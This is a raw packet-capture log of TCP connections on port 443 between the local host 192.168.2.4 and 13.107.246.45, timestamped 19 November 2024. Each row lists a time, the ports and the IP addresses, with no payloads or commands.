Nov 19, 2024 19:15:26.947715998 CET	50009	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.947751045 CET	443	50009	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.259372950 CET	443	50005	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.260051012 CET	50005	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.260085106 CET	443	50005	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.260533094 CET	50005	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.260539055 CET	443	50005	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.361747980 CET	443	50005	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.362003088 CET	443	50005	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.362070084 CET	50005	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.362148046 CET	50005	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.362148046 CET	50005	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.362163067 CET	443	50005	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.362170935 CET	443	50005	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.365087986 CET	50010	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.365139008 CET	443	50010	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.365232944 CET	50010	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.365370989 CET	50010	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.365385056 CET	443	50010	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.486046076 CET	443	50007	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.486536980 CET	50007	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.486546993 CET	443	50007	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.487049103 CET	50007	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.487052917 CET	443	50007	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.491688967 CET	443	50006	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.492347956 CET	50006	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.492372990 CET	443	50006	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.492531061 CET	50006	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.492535114 CET	443	50006	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.545684099 CET	443	50008	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.546144962 CET	50008	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.546180010 CET	443	50008	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.546699047 CET	50008	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.546706915 CET	443	50008	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.585884094 CET	443	50007	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.586062908 CET	443	50007	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.586488008 CET	50007	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.586488008 CET	50007	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.586538076 CET	50007	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.586556911 CET	443	50007	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.590229034 CET	50011	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.590265989 CET	443	50011	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.590598106 CET	50011	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.590785027 CET	50011	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.590796947 CET	443	50011	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.592338085 CET	443	50006	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.592626095 CET	443	50006	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.592740059 CET	50006	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.592741013 CET	50006	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.593014002 CET	50006	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.593035936 CET	443	50006	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.593779087 CET	443	50009	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.594427109 CET	50009	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.594434977 CET	443	50009	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.594882965 CET	50009	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.594887018 CET	443	50009	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.596110106 CET	50012	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.596201897 CET	443	50012	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.596290112 CET	50012	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.596430063 CET	50012	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.596458912 CET	443	50012	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.649513006 CET	443	50008	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.650115967 CET	443	50008	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.650181055 CET	50008	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.650218010 CET	443	50008	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.650240898 CET	443	50008	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.650307894 CET	50008	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.650348902 CET	50008	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.650348902 CET	50008	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.650367975 CET	443	50008	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.650378942 CET	443	50008	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.653261900 CET	50013	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.653306961 CET	443	50013	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.653377056 CET	50013	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.653583050 CET	50013	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.653599024 CET	443	50013	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.714942932 CET	443	50009	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.715517998 CET	443	50009	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.715580940 CET	50009	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.715641975 CET	50009	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.715663910 CET	443	50009	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.715677977 CET	50009	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.715683937 CET	443	50009	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.718770027 CET	50014	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.718878984 CET	443	50014	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:27.718957901 CET	50014	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.719132900 CET	50014	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:27.719168901 CET	443	50014	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.002835035 CET	443	50010	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.003490925 CET	50010	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.003516912 CET	443	50010	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.003988981 CET	50010	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.003994942 CET	443	50010	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.103889942 CET	443	50010	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.104020119 CET	443	50010	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.104082108 CET	443	50010	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.104161024 CET	50010	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.104279995 CET	50010	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.104304075 CET	443	50010	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.104319096 CET	50010	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.104326010 CET	443	50010	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.107517004 CET	50015	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.107566118 CET	443	50015	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.107637882 CET	50015	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.108078957 CET	50015	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.108091116 CET	443	50015	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.318567038 CET	443	50013	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.319191933 CET	50013	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.319219112 CET	443	50013	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.319647074 CET	50013	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.319653034 CET	443	50013	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.357434988 CET	443	50014	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.357989073 CET	50014	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.358014107 CET	443	50014	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.358392954 CET	50014	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.358397961 CET	443	50014	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.398627996 CET	443	50012	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.399192095 CET	50012	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.399204969 CET	443	50012	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.399647951 CET	50012	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.399652958 CET	443	50012	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.432816982 CET	443	50013	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.433010101 CET	443	50013	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.433068037 CET	50013	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.433109999 CET	50013	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.433109999 CET	50013	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.433130026 CET	443	50013	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.433140039 CET	443	50013	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.436609983 CET	50016	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.436650991 CET	443	50016	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.436784029 CET	50016	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.437846899 CET	50016	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.437869072 CET	443	50016	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.458534002 CET	443	50014	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.459180117 CET	443	50014	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.459229946 CET	50014	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.459280014 CET	50014	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.459292889 CET	443	50014	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.459301949 CET	50014	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.459306955 CET	443	50014	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.461926937 CET	50017	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.461957932 CET	443	50017	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.462366104 CET	50017	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.463356972 CET	50017	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.463367939 CET	443	50017	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.500328064 CET	443	50012	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.500448942 CET	443	50012	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.500500917 CET	443	50012	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.500562906 CET	50012	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.502722025 CET	50012	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.502741098 CET	443	50012	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.502756119 CET	50012	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.502762079 CET	443	50012	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.506375074 CET	50018	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.506417990 CET	443	50018	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.509602070 CET	50018	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.509602070 CET	50018	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.509627104 CET	443	50018	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.793366909 CET	443	50015	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.794408083 CET	50015	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.794446945 CET	443	50015	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.794872999 CET	50015	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.794882059 CET	443	50015	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.897845030 CET	443	50015	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.898020029 CET	443	50015	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.898088932 CET	50015	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.898276091 CET	50015	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.898303032 CET	443	50015	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.898313999 CET	50015	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.898323059 CET	443	50015	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.901386976 CET	50019	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.901436090 CET	443	50019	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:28.901519060 CET	50019	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.901725054 CET	50019	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:28.901741028 CET	443	50019	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.075428963 CET	443	50016	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.075973034 CET	50016	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.075998068 CET	443	50016	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.076566935 CET	50016	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.076575041 CET	443	50016	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.101077080 CET	443	50017	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.101664066 CET	50017	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.101685047 CET	443	50017	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.102161884 CET	50017	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.102166891 CET	443	50017	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.157661915 CET	443	50018	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.158159971 CET	50018	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.158183098 CET	443	50018	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.158620119 CET	50018	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.158624887 CET	443	50018	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.175129890 CET	443	50016	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.175580025 CET	443	50016	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.175633907 CET	50016	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.175694942 CET	50016	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.175713062 CET	443	50016	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.175721884 CET	50016	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.175728083 CET	443	50016	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.178685904 CET	50020	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.178734064 CET	443	50020	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.178805113 CET	50020	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.179002047 CET	50020	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.179018021 CET	443	50020	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.208514929 CET	443	50017	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.209054947 CET	443	50017	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.209117889 CET	50017	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.209176064 CET	50017	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.209192038 CET	443	50017	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.209203005 CET	50017	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.209211111 CET	443	50017	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.211858034 CET	50021	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.211893082 CET	443	50021	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.212145090 CET	50021	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.212297916 CET	50021	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.212312937 CET	443	50021	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.260389090 CET	443	50018	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.260432005 CET	443	50018	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.260487080 CET	443	50018	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.260507107 CET	50018	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.260555029 CET	50018	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.261094093 CET	50018	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.261112928 CET	443	50018	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.261123896 CET	50018	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.261130095 CET	443	50018	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.265675068 CET	50022	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.265717983 CET	443	50022	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.265836954 CET	50022	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.266011000 CET	50022	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.266022921 CET	443	50022	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.370085955 CET	443	50011	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.370632887 CET	50011	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.370697975 CET	443	50011	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.371089935 CET	50011	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.371105909 CET	443	50011	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.476414919 CET	443	50011	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.476737976 CET	443	50011	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.477055073 CET	50011	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.477122068 CET	50011	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.477142096 CET	443	50011	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.477153063 CET	50011	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.477158070 CET	443	50011	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.480118036 CET	50023	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.480154037 CET	443	50023	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.480221987 CET	50023	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.480427027 CET	50023	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.480437994 CET	443	50023	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.559957027 CET	443	50019	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.560848951 CET	50019	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.560870886 CET	443	50019	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.561671019 CET	50019	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.561676025 CET	443	50019	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.661051035 CET	443	50019	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.661220074 CET	443	50019	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.661283970 CET	50019	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.661535025 CET	50019	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.661535025 CET	50019	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.661546946 CET	443	50019	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.661556005 CET	443	50019	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.666229010 CET	50024	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.666274071 CET	443	50024	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.666415930 CET	50024	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.666747093 CET	50024	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.666764021 CET	443	50024	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.821583033 CET	443	50020	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.822263956 CET	50020	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.822289944 CET	443	50020	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.822870016 CET	50020	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.822885036 CET	443	50020	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.873892069 CET	443	50021	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.879952908 CET	50021	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.879985094 CET	443	50021	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.887475967 CET	50021	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.887494087 CET	443	50021	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.920773029 CET	443	50020	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.920834064 CET	443	50020	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.920891047 CET	443	50020	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.920969009 CET	50020	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.920969009 CET	50020	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.924221039 CET	50020	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.924221039 CET	50020	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.924237013 CET	443	50020	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.924247026 CET	443	50020	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.927736044 CET	443	50022	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.945715904 CET	50022	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.945736885 CET	443	50022	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.949103117 CET	50022	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:29.949120045 CET	443	50022	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.986402988 CET	443	50021	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.986488104 CET	443	50021	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:29.986613035 CET	50021	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.046479940 CET	443	50022	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.046561956 CET	443	50022	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.046613932 CET	443	50022	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.046680927 CET	50022	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.046727896 CET	50022	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.064730883 CET	50025	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.064831972 CET	443	50025	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.064939022 CET	50025	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.065002918 CET	50021	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.065002918 CET	50021	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.065026045 CET	443	50021	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.065037966 CET	443	50021	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.066798925 CET	50025	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.066837072 CET	443	50025	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.067090988 CET	50022	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.067090988 CET	50022	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.067123890 CET	443	50022	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.067136049 CET	443	50022	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.069376945 CET	50026	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.069420099 CET	443	50026	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.069475889 CET	50026	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.070684910 CET	50027	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.070696115 CET	443	50027	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.070749998 CET	50027	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.071196079 CET	50026	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.071214914 CET	443	50026	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.071505070 CET	50027	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.071513891 CET	443	50027	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.126344919 CET	443	50023	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.126825094 CET	50023	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.126841068 CET	443	50023	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.127346992 CET	50023	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.127351999 CET	443	50023	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.235670090 CET	443	50023	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.235790968 CET	443	50023	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.235865116 CET	50023	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.236059904 CET	50023	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.236079931 CET	443	50023	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.236089945 CET	50023	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.236095905 CET	443	50023	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.238845110 CET	50028	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.238886118 CET	443	50028	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.238955021 CET	50028	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.239094019 CET	50028	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.239109039 CET	443	50028	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.315557003 CET	443	50024	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.316097975 CET	50024	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.316127062 CET	443	50024	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.316587925 CET	50024	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:30.316608906 CET	443	50024	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:30.416033983 CET	443	50024	13.107.246.45	192.168.2.4
